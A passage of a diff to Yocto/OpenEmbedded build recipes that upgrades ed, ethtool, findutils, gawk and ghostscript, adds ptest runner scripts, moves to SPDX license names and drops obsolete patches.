16CFLAGS:mingw32 = " -DSA_RESTART=0"
17
16# Fix "Argument list too long" error when len(TMPDIR) = 410 18# Fix "Argument list too long" error when len(TMPDIR) = 410
17acpaths = "-I ./m4" 19acpaths = "-I ./m4"
18 20
21EXTRA_OEMAKE:append:mingw32 = " LIBS='-lbcrypt'"
19inherit ptest 22inherit ptest
20 23
21RDEPENDS_${PN}-ptest += "make perl" 24RDEPENDS:${PN}-ptest += "make perl"
22 25
23do_install_ptest() { 26do_install_ptest() {
24 t=${D}${PTEST_PATH} 27 t=${D}${PTEST_PATH}
diff --git a/meta/recipes-extended/ed/ed_1.17.bb b/meta/recipes-extended/ed/ed_1.20.1.bb
index e905eed3c7..9ae53002c3 100644
--- a/meta/recipes-extended/ed/ed_1.17.bb
+++ b/meta/recipes-extended/ed/ed_1.20.1.bb
@@ -1,10 +1,11 @@
1SUMMARY = "Line-oriented text editor" 1SUMMARY = "Line-oriented text editor"
2HOMEPAGE = "http://www.gnu.org/software/ed/" 2HOMEPAGE = "http://www.gnu.org/software/ed/"
3DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands."
3 4
4LICENSE = "GPLv3+" 5LICENSE = "GPL-2.0-only"
5LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \ 6LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
6 file://ed.h;endline=20;md5=b72aa5eaafef318c6bfc37f858469113 \ 7 file://ed.h;endline=20;md5=c3212b6c53b09668107420af9368c0ef \
7 file://main.c;endline=17;md5=2c93e24f4db3528a00a24c7df5618e41 \ 8 file://main.c;endline=17;md5=e5d2ae5ddd1ecb87dc71702c06dd06dc \
8 " 9 "
9 10
10SECTION = "base" 11SECTION = "base"
@@ -18,7 +19,7 @@ bindir = "${base_bindir}"
18SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz" 19SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
19UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/" 20UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
20 21
21SRC_URI[sha256sum] = "71de39883c25b6fab44add80635382a10c9bf154515b94729f4a6529ddcc5e54" 22SRC_URI[sha256sum] = "b1a463b297a141f9876c4b1fcd01477f645cded92168090e9a35db2af4babbca"
22 23
23EXTRA_OEMAKE = "-e MAKEFLAGS=" 24EXTRA_OEMAKE = "-e MAKEFLAGS="
24 25
diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
index 54aec01284..69df8632f2 100644
--- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
+++ b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
@@ -1,4 +1,4 @@
1From b493e2fb472307997576eef33cce784594070f44 Mon Sep 17 00:00:00 2001 1From 758fde7186730ee331a0ee6149276cd412766ee0 Mon Sep 17 00:00:00 2001
2From: Tudor Florea <tudor.florea@enea.com> 2From: Tudor Florea <tudor.florea@enea.com>
3Date: Wed, 28 May 2014 18:59:54 +0200 3Date: Wed, 28 May 2014 18:59:54 +0200
4Subject: [PATCH] ethtool: use serial-tests config needed by ptest. 4Subject: [PATCH] ethtool: use serial-tests config needed by ptest.
@@ -15,12 +15,12 @@ Upstream-Status: Inappropriate
15 1 file changed, 1 insertion(+), 1 deletion(-) 15 1 file changed, 1 insertion(+), 1 deletion(-)
16 16
17diff --git a/configure.ac b/configure.ac 17diff --git a/configure.ac b/configure.ac
18index 13c2bc0..0b6ca1d 100644 18index c871558..8ea1eaa 100644
19--- a/configure.ac 19--- a/configure.ac
20+++ b/configure.ac 20+++ b/configure.ac
21@@ -2,7 +2,7 @@ dnl Process this file with autoconf to produce a configure script. 21@@ -3,7 +3,7 @@ AC_INIT(ethtool, 6.7, netdev@vger.kernel.org)
22 AC_INIT(ethtool, 5.10, netdev@vger.kernel.org)
23 AC_PREREQ(2.52) 22 AC_PREREQ(2.52)
23 AC_CONFIG_MACRO_DIR([m4])
24 AC_CONFIG_SRCDIR([ethtool.c]) 24 AC_CONFIG_SRCDIR([ethtool.c])
25-AM_INIT_AUTOMAKE([gnu subdir-objects]) 25-AM_INIT_AUTOMAKE([gnu subdir-objects])
26+AM_INIT_AUTOMAKE([gnu subdir-objects serial-tests]) 26+AM_INIT_AUTOMAKE([gnu subdir-objects serial-tests])
diff --git a/meta/recipes-extended/ethtool/ethtool_5.10.bb b/meta/recipes-extended/ethtool/ethtool_6.7.bb
index 5c0df3acbc..33df0e0e80 100644
--- a/meta/recipes-extended/ethtool/ethtool_5.10.bb
+++ b/meta/recipes-extended/ethtool/ethtool_6.7.bb
@@ -2,7 +2,7 @@ SUMMARY = "Display or change ethernet card settings"
2DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces." 2DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
3HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/" 3HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
4SECTION = "console/network" 4SECTION = "console/network"
5LICENSE = "GPLv2+" 5LICENSE = "GPL-2.0-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ 6LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
7 file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216" 7 file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
8 8
@@ -11,13 +11,13 @@ SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
11 file://avoid_parallel_tests.patch \ 11 file://avoid_parallel_tests.patch \
12 " 12 "
13 13
14SRC_URI[sha256sum] = "4b86adb3ed913c1ef14a276301981f696ab4ec360c19f0a5b68235c4756abae5" 14SRC_URI[sha256sum] = "ace0e95a03b38208af4ebacb415244568ace44c5d5a279ea434844f900179c75"
15 15
16UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/" 16UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
17 17
18inherit autotools ptest bash-completion pkgconfig 18inherit autotools ptest bash-completion pkgconfig
19 19
20RDEPENDS_${PN}-ptest += "make" 20RDEPENDS:${PN}-ptest += "make bash"
21 21
22PACKAGECONFIG ?= "netlink" 22PACKAGECONFIG ?= "netlink"
23PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl," 23PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
diff --git a/meta/recipes-extended/findutils/findutils.inc b/meta/recipes-extended/findutils/findutils.inc
index 9aa7239825..03cf2a8d72 100644
--- a/meta/recipes-extended/findutils/findutils.inc
+++ b/meta/recipes-extended/findutils/findutils.inc
@@ -6,11 +6,14 @@ HOMEPAGE = "http://www.gnu.org/software/findutils/"
6BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils" 6BUGTRACKER = "http://savannah.gnu.org/bugs/?group=findutils"
7SECTION = "console/utils" 7SECTION = "console/utils"
8 8
9SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz" 9SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.xz \
10 file://autoconf-2.73.patch \
11 file://run-ptest \
12 "
10 13
11inherit autotools gettext texinfo update-alternatives 14inherit autotools gettext texinfo update-alternatives ptest
12 15
13ALTERNATIVE_${PN} = "find xargs" 16ALTERNATIVE:${PN} = "find xargs"
14ALTERNATIVE_PRIORITY = "100" 17ALTERNATIVE_PRIORITY = "100"
15 18
16BBCLASSEXTEND = "native nativesdk" 19BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
new file mode 100644
index 0000000000..63728b5f91
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/autoconf-2.73.patch
@@ -0,0 +1,24 @@
1The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
2than the full code:
3
4https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
5
6Just tweak the exiting code to work with 2.73. The next findutils upgrade should
7update to new gnulib
8
9Upstream-Status: Inappropriate
10Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
11
12Index: findutils-4.9.0/gl/m4/largefile.m4
13===================================================================
14--- findutils-4.9.0.orig/gl/m4/largefile.m4
15+++ findutils-4.9.0/gl/m4/largefile.m4
16@@ -26,7 +26,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
17 # with _TIME_BITS. Also, work around a problem in autoconf <= 2.69:
18 # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
19 # or configures them incorrectly in some cases.
20-m4_version_prereq([2.70], [], [
21+m4_version_prereq([2.73], [], [
22
23 # _AC_SYS_LARGEFILE_TEST_INCLUDES
24 # -------------------------------
diff --git a/meta/recipes-extended/findutils/findutils/run-ptest b/meta/recipes-extended/findutils/findutils/run-ptest
new file mode 100644
index 0000000000..ec71583c51
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils/run-ptest
@@ -0,0 +1,57 @@
1#!/bin/bash
2
3# create temporary symlink to workaround missing oldfind
4ln -s /usr/bin/find /tmp/oldfind
5# make oldfind visible
6export PATH="/tmp:${PATH}"
7
8export built_programs="find xargs locate updatedb"
9
10# this gets substituted by sed during build
11export VERSION="__run_ptest_version__"
12
13# define missing functions for tests/init.sh
14fu_path_prepend_ () {
15 path_prepend_ $@
16}
17
18print_ver_ () {
19 :
20}
21
22skip_if_root_ () {
23 [ $(id -u) = 0 ] && exit 77;
24}
25
26require_root_ () {
27 [ $(id -u) = 0 ] || exit 77;
28}
29
30expensive_ () {
31 :
32}
33
34export -f fu_path_prepend_
35export -f print_ver_
36export -f skip_if_root_
37export -f require_root_
38export -f expensive_
39
40
41for f in tests/*/*.sh; do
42 bash $f ;
43 case $? in
44 0 )
45 echo -n "PASS";;
46 77 )
47 echo -n "SKIP";;
48 * )
49 echo -n "FAIL";;
50 esac
51 echo ": $f"
52done
53
54#remove symlink
55rm -f /tmp/oldfind
56
57echo
diff --git a/meta/recipes-extended/findutils/findutils_4.8.0.bb b/meta/recipes-extended/findutils/findutils_4.8.0.bb
deleted file mode 100644
index 675e53c0da..0000000000
--- a/meta/recipes-extended/findutils/findutils_4.8.0.bb
+++ /dev/null
@@ -1,14 +0,0 @@
1require findutils.inc
2
3# GPLv2+ (<< 4.2.32), GPLv3+ (>= 4.2.32)
4LICENSE = "GPLv3+"
5LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
6
7DEPENDS = "bison-native"
8
9SRC_URI[sha256sum] = "57127b7e97d91282c6ace556378d5455a9509898297e46e10443016ea1387164"
10
11# http://savannah.gnu.org/bugs/?27299
12CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
13
14EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
diff --git a/meta/recipes-extended/findutils/findutils_4.9.0.bb b/meta/recipes-extended/findutils/findutils_4.9.0.bb
new file mode 100644
index 0000000000..074817df27
--- /dev/null
+++ b/meta/recipes-extended/findutils/findutils_4.9.0.bb
@@ -0,0 +1,27 @@
1require findutils.inc
2
3# GPL-2.0-or-later (<< 4.2.32), GPL-3.0-or-later (>= 4.2.32)
4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
6
7DEPENDS = "bison-native"
8
9SRC_URI[sha256sum] = "a2bfb8c09d436770edc59f50fa483e785b161a3b7b9d547573cb08065fd462fe"
10
11PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
12# http://savannah.gnu.org/bugs/?27299
13CACHED_CONFIGUREVARS += "gl_cv_func_wcwidth_works=yes"
14
15EXTRA_OECONF += "ac_cv_path_SORT=${bindir}/sort"
16
17# need od from coreutils for -t option
18RDEPENDS:${PN}-ptest += "bash sed grep coreutils"
19
20do_install_ptest:class-target() {
21 mkdir -p ${D}${PTEST_PATH}/tests/
22 cp -r ${S}/tests/* ${D}${PTEST_PATH}/tests/
23
24 # substitute value in run-ptest with actual version
25 sed -i -e 's/__run_ptest_version__/${PV}/' ${D}${PTEST_PATH}/run-ptest
26
27}
diff --git a/meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch b/meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch
deleted file mode 100644
index ca0d668ce9..0000000000
--- a/meta/recipes-extended/gawk/gawk/0001-Use-cross-AR-during-compile.patch
+++ /dev/null
@@ -1,35 +0,0 @@
1From 207b94e37c84007b294e57878c913271aad544ef Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 11 Nov 2020 23:13:23 -0800
4Subject: [PATCH] Use cross AR during compile
5
6If AR is specifcied then it should be used instead of defaulting to 'ar'
7from host
8
9Upstream-Status: Pending
10Signed-off-by: Khem Raj <raj.khem@gmail.com>
11---
12 configure.ac | 7 +++++++
13 1 file changed, 7 insertions(+)
14
15diff --git a/configure.ac b/configure.ac
16index 31364ab..4804f7b 100644
17--- a/configure.ac
18+++ b/configure.ac
19@@ -92,6 +92,13 @@ GAWK_CANONICAL_HOST
20 AC_USE_SYSTEM_EXTENSIONS
21
22 dnl checks for programs
23+m4_ifndef([AC_PROG_AR],[dnl
24+ AN_MAKEVAR([AR], [AC_PROG_AR])
25+ AN_PROGRAM([ar], [AC_PROG_AR])
26+ AC_DEFUN([AC_PROG_AR],
27+ [AC_CHECK_TOOL(AR, ar, :)])
28+])
29+AC_PROG_AR
30 AC_PROG_EGREP
31 AC_PROG_YACC
32 AC_PROG_LN_S
33--
342.29.2
35
diff --git a/meta/recipes-extended/gawk/gawk/run-ptest b/meta/recipes-extended/gawk/gawk/run-ptest
index f67a95874f..f4ef3e7bd4 100644
--- a/meta/recipes-extended/gawk/gawk/run-ptest
+++ b/meta/recipes-extended/gawk/gawk/run-ptest
@@ -2,7 +2,12 @@
2 2
3cd test 3cd test
4for i in `grep -E "^[a-z0-9_-]*:$" Maketests |awk -F: '{print $1}'`; do 4for i in `grep -E "^[a-z0-9_-]*:$" Maketests |awk -F: '{print $1}'`; do
5 #LC_ALL=${GAWKLOCALE:-C} LANG=${GAWKLOCALE:-C} 5 unset LANG
6 grep -q "^$i$" skipped.txt
7 if [ $? -eq 0 ]; then
8 echo "SKIP: $i"
9 continue
10 fi
6 srcdir=`pwd` AWKPROG=gawk AWK=gawk CMP=cmp make -f Maketests $i >$i.tmp 2>&1 11 srcdir=`pwd` AWKPROG=gawk AWK=gawk CMP=cmp make -f Maketests $i >$i.tmp 2>&1
7 if [ -e _$i ]; then 12 if [ -e _$i ]; then
8 cat _$i 13 cat _$i
diff --git a/meta/recipes-extended/gawk/gawk_5.1.0.bb b/meta/recipes-extended/gawk/gawk_5.1.0.bb
deleted file mode 100644
index ae897be62e..0000000000
--- a/meta/recipes-extended/gawk/gawk_5.1.0.bb
+++ /dev/null
@@ -1,60 +0,0 @@
1SUMMARY = "GNU awk text processing utility"
2DESCRIPTION = "The GNU version of awk, a text processing utility. \
3Awk interprets a special-purpose programming language to do \
4quick and easy text pattern matching and reformatting jobs."
5HOMEPAGE = "https://www.gnu.org/software/gawk/"
6BUGTRACKER = "bug-gawk@gnu.org"
7SECTION = "console/utils"
8
9# gawk <= 3.1.5: GPLv2
10# gawk >= 3.1.6: GPLv3
11LICENSE = "GPLv3"
12LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
13
14PACKAGECONFIG ??= "readline"
15PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
16PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
17
18SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
19 file://run-ptest \
20 file://0001-Use-cross-AR-during-compile.patch \
21"
22
23SRC_URI[md5sum] = "f719bc9966df28e67fc6ebc405e7ea03"
24SRC_URI[sha256sum] = "03a0360edcd84bec156fe211bbc4fc8c78790973ce4e8b990a11d778d40b1a26"
25
26inherit autotools gettext texinfo update-alternatives
27
28FILES_${PN} += "${datadir}/awk"
29FILES_${PN}-dev += "${libdir}/${BPN}/*.la"
30
31ALTERNATIVE_${PN} = "awk"
32ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
33ALTERNATIVE_PRIORITY = "100"
34
35do_install_append() {
36 # remove the link since we don't package it
37 rm ${D}${bindir}/awk
38}
39
40inherit ptest
41
42do_install_ptest() {
43 mkdir ${D}${PTEST_PATH}/test
44 ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
45 for i in `grep -vE "@|^$|#|Gt-dummy" ${S}/test/Maketests |awk -F: '{print $1}'` Maketests inclib.awk; \
46 do cp ${S}/test/$i* ${D}${PTEST_PATH}/test; \
47 done
48 sed -i -e 's|/usr/local/bin|${bindir}|g' \
49 -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
50
51 sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
52}
53
54RDEPENDS_${PN}-ptest += "make"
55
56RDEPENDS_${PN}-ptest_append_libc-glibc = "\
57 locale-base-en-us.iso-8859-1 \
58"
59
60BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/gawk/gawk_5.3.0.bb b/meta/recipes-extended/gawk/gawk_5.3.0.bb
new file mode 100644
index 0000000000..d7a0fc616d
--- /dev/null
+++ b/meta/recipes-extended/gawk/gawk_5.3.0.bb
@@ -0,0 +1,87 @@
1SUMMARY = "GNU awk text processing utility"
2DESCRIPTION = "The GNU version of awk, a text processing utility. \
3Awk interprets a special-purpose programming language to do \
4quick and easy text pattern matching and reformatting jobs."
5HOMEPAGE = "https://www.gnu.org/software/gawk/"
6BUGTRACKER = "bug-gawk@gnu.org"
7SECTION = "console/utils"
8
9# gawk <= 3.1.5: GPL-2.0-only
10# gawk >= 3.1.6: GPL-3.0-only
11LICENSE = "GPL-3.0-only"
12LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
13
14PACKAGECONFIG ??= "readline"
15PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
16PACKAGECONFIG[mpfr] = "--with-mpfr,--without-mpfr, mpfr"
17
18SRC_URI = "${GNU_MIRROR}/gawk/gawk-${PV}.tar.gz \
19 file://run-ptest \
20 "
21
22SRC_URI[sha256sum] = "378f8864ec21cfceaa048f7e1869ac9b4597b449087caf1eb55e440d30273336"
23
24inherit autotools gettext texinfo update-alternatives
25
26FILES:${PN} += "${datadir}/awk"
27FILES:${PN}-dev += "${libdir}/${BPN}/*.la"
28
29PACKAGES =+ "${PN}-gawkbug"
30FILES:${PN}-gawkbug += "${bindir}/gawkbug"
31
32ALTERNATIVE:${PN} = "awk"
33ALTERNATIVE_TARGET[awk] = "${bindir}/gawk"
34ALTERNATIVE_PRIORITY = "100"
35
36do_install:append() {
37 # remove the link since we don't package it
38 rm ${D}${bindir}/awk
39 # Strip non-reproducible build flags (containing build paths)
40 sed -i -e 's|^CC.*|CC=""|g' -e 's|^CFLAGS.*|CFLAGS=""|g' ${D}${bindir}/gawkbug
41}
42
43inherit ptest
44
45do_install_ptest() {
46 mkdir ${D}${PTEST_PATH}/test
47 ln -s ${bindir}/gawk ${D}${PTEST_PATH}/gawk
48 # The list of tests is all targets in Maketests, apart from the dummy Gt-dummy
49 TESTS=$(awk -F: '$1 == "Gt-dummy" { next } /[[:alnum:]]+:$/ { print $1 }' ${S}/test/Maketests)
50 for i in $TESTS Maketests inclib.awk; do
51 cp ${S}/test/$i* ${D}${PTEST_PATH}/test
52 done
53 sed -i \
54 -e 's|#!${base_bindir}/awk|#!${bindir}/awk|g' ${D}${PTEST_PATH}/test/*.awk
55
56 sed -i -e "s|GAWKLOCALE|LANG|g" ${D}${PTEST_PATH}/test/Maketests
57
58 # These tests require an unloaded host as otherwise timing sensitive tests can fail
59 # https://bugzilla.yoctoproject.org/show_bug.cgi?id=14371
60 rm -f ${D}${PTEST_PATH}/test/time.*
61 rm -f ${D}${PTEST_PATH}/test/timeout.*
62 for t in time timeout; do
63 echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
64 done
65}
66
67do_install_ptest:append:libc-musl() {
68 # Reported https://lists.gnu.org/archive/html/bug-gawk/2021-02/msg00005.html
69 rm -f ${D}${PTEST_PATH}/test/clos1way6.*
70 # Needs en_US.UTF-8 but then does not work with musl
71 rm -f ${D}${PTEST_PATH}/test/backsmalls1.*
72 # Needs en_US.UTF-8 but then does not work with musl
73 rm -f ${D}${PTEST_PATH}/test/commas.*
74 # The below two need LANG=C inside the make rule for musl
75 rm -f ${D}${PTEST_PATH}/test/rebt8b1.*
76 rm -f ${D}${PTEST_PATH}/test/regx8bit.*
77 for t in clos1way6 backsmalls1 commas rebt8b1 regx8bit; do
78 echo $t >> ${D}${PTEST_PATH}/test/skipped.txt
79 done
80}
81
82RDEPENDS:${PN}-ptest += "make locale-base-en-us coreutils"
83
84RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us.iso-8859-1"
85RDEPENDS:${PN}-ptest:append:libc-musl = " musl-locales"
86
87BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch b/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
deleted file mode 100644
index a9afb9948c..0000000000
--- a/meta/recipes-extended/ghostscript/files/do-not-check-local-libpng-source.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From 2adaa7366064a8f18af864eda74e52877a89620c Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Mon, 18 Jan 2016 01:00:30 -0500
4Subject: [PATCH] configure.ac: do not check local png source
5
6In oe-core, it did not need to compile local libpng
7source in ghostscript, so do not check local png
8source, and directly check the existance of shared
9libpng library.
10
11Upstream-Status: Inappropriate [OE-Core specific]
12
13Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
14
15---
16 configure.ac | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/configure.ac b/configure.ac
20index 698abd3..e65ac8b 100644
21--- a/configure.ac
22+++ b/configure.ac
23@@ -1241,7 +1241,7 @@ else
24 PNGDEVS=''
25 PNGDEVS_ALL='png48 png16m pnggray pngmono pngmonod png256 png16 pngalpha'
26 AC_MSG_CHECKING([for local png library source])
27- if test -f $srcdir/libpng/pngread.c; then
28+ if false; then
29 AC_MSG_RESULT([yes])
30 SHARE_LIBPNG=0
31 LIBPNGDIR=$srcdir/libpng
diff --git a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
index e8cb16c36b..67f14bd368 100644
--- a/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
+++ b/meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch
@@ -1,12 +1,11 @@
1From 0ccbaa134093bf6afc79f2d20d061bca5a8754ed Mon Sep 17 00:00:00 2001 1From b36713c8f1ba0e5755b78845a433354a63663b1a Mon Sep 17 00:00:00 2001
2From: Kai Kang <kai.kang@windriver.com> 2From: Kai Kang <kai.kang@windriver.com>
3Date: Thu, 29 Mar 2018 16:02:05 +0800 3Date: Thu, 29 Mar 2018 16:02:05 +0800
4Subject: [PATCH 04/10] avoid host contamination 4Subject: [PATCH] avoid host contamination
5 5
6Remove hardcode path refer to host to avoid host contamination. 6Remove hardcode path refer to host to avoid host contamination.
7 7
8Upstream-Status: Inappropriate [embedded specific] 8Upstream-Status: Pending
9
10Signed-off-by: Kai Kang <kai.kang@windriver.com> 9Signed-off-by: Kai Kang <kai.kang@windriver.com>
11 10
12Rebase to 9.23 11Rebase to 9.23
@@ -16,10 +15,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
16 1 file changed, 1 insertion(+), 1 deletion(-) 15 1 file changed, 1 insertion(+), 1 deletion(-)
17 16
18diff --git a/devices/devs.mak b/devices/devs.mak 17diff --git a/devices/devs.mak b/devices/devs.mak
19index 846aa50..9570182 100644 18index 186f704..88ab8c9 100644
20--- a/devices/devs.mak 19--- a/devices/devs.mak
21+++ b/devices/devs.mak 20+++ b/devices/devs.mak
22@@ -393,7 +393,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\ 21@@ -397,7 +397,7 @@ $(DEVOBJ)gdevxalt.$(OBJ) : $(DEVSRC)gdevxalt.c $(GDEVX) $(math__h) $(memory__h)\
23 ### NON PORTABLE, ONLY UNIX WITH GCC SUPPORT 22 ### NON PORTABLE, ONLY UNIX WITH GCC SUPPORT
24 23
25 $(DEVOBJ)X11.so : $(x11alt_) $(x11_) $(DEVS_MAK) $(MAKEDIRS) 24 $(DEVOBJ)X11.so : $(x11alt_) $(x11_) $(DEVS_MAK) $(MAKEDIRS)
@@ -28,6 +27,3 @@ index 846aa50..9570182 100644
28 27
29 ###### --------------- Memory-buffered printer devices --------------- ###### 28 ###### --------------- Memory-buffered printer devices --------------- ######
30 29
31--
321.8.3.1
33
diff --git a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch b/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
deleted file mode 100644
index 7d80066a80..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/base-genht.c-add-a-preprocessor-define-to-allow-fope.patch
+++ /dev/null
@@ -1,42 +0,0 @@
1From 9ca6f795409b988d38dd98bc2a6ecb68a9392312 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Thu, 29 Mar 2018 16:37:40 +0800
4Subject: [PATCH 10/10] base/genht.c: add a preprocessor define to allow fopen
5 calling
6
7The commit in upstream:
8http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=773c69e46e70bdd5482676437dafd2ca83397643
9
10Replace all fopen calls with gp_fopen and add a preprocessor define so
11that any unintential calls directly to fopen will cause an error.
12
13Only exceptions are those in the platform specific code, and mkromfs.c.
14This patch add a preprocessor define to allow fopen calling in
15base/genht.c.
16
17Upstream-Status: Pending
18
19Rebase to 9.23
20Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
21---
22 base/genht.c | 4 ++++
23 1 file changed, 4 insertions(+)
24
25diff --git a/base/genht.c b/base/genht.c
26index e597e72..e96bfb5 100644
27--- a/base/genht.c
28+++ b/base/genht.c
29@@ -16,6 +16,10 @@
30
31 /* Generate C code for compiling halftones into ROM. */
32 #include "malloc_.h"
33+
34+/* prevent gp.h from defining fopen */
35+#define fopen fopen
36+
37 #include "stdio_.h"
38 #include "string_.h"
39 #include "gscdefs.h"
40--
411.8.3.1
42
diff --git a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch b/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
deleted file mode 100644
index 4c9bb22fa2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/cups-no-gcrypt.patch
+++ /dev/null
@@ -1,37 +0,0 @@
1From 9129eb7fa9dc160d64a7d9df9279a3b1dae4d793 Mon Sep 17 00:00:00 2001
2From: Jackie Huang <jackie.huang@windriver.com>
3Date: Thu, 29 Mar 2018 16:16:18 +0800
4Subject: [PATCH 08/10] cups no gcrypt
5
6Don't build-depend on libgcrypt, as nothing is used from it
7
8Backported from
9http://www.cups.org/strfiles.php/3308/cups-no-gcrypt.patch
10
11This addresses the cryto dependency seen during build.
12
13Upstream-Status: Backport
14
15Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
16
17Rebase to 9.23
18Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
19---
20 cups/libs/cups/http-private.h | 1 -
21 1 file changed, 1 deletion(-)
22
23diff --git a/cups/libs/cups/http-private.h b/cups/libs/cups/http-private.h
24index 99a85c3..a674852 100644
25--- a/cups/libs/cups/http-private.h
26+++ b/cups/libs/cups/http-private.h
27@@ -80,7 +80,6 @@ typedef int socklen_t;
28 # elif defined HAVE_GNUTLS
29 # include <gnutls/gnutls.h>
30 # include <gnutls/x509.h>
31-# include <gcrypt.h>
32 # elif defined(HAVE_CDSASSL)
33 # include <CoreFoundation/CoreFoundation.h>
34 # include <Security/Security.h>
35--
361.8.3.1
37
diff --git a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch b/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
deleted file mode 100644
index 5b57da2a97..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.15-parallel-make.patch
+++ /dev/null
@@ -1,28 +0,0 @@
1From 04a86a613e0f9bfbbad99874f72217f75e8c53a3 Mon Sep 17 00:00:00 2001
2From: Robert Yang <liezhi.yang@windriver.com>
3Date: Thu, 29 Mar 2018 15:59:05 +0800
4Subject: [PATCH] contrib.mak: fix for parallel build
5
6Upstream-Status: Pending
7
8Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
9
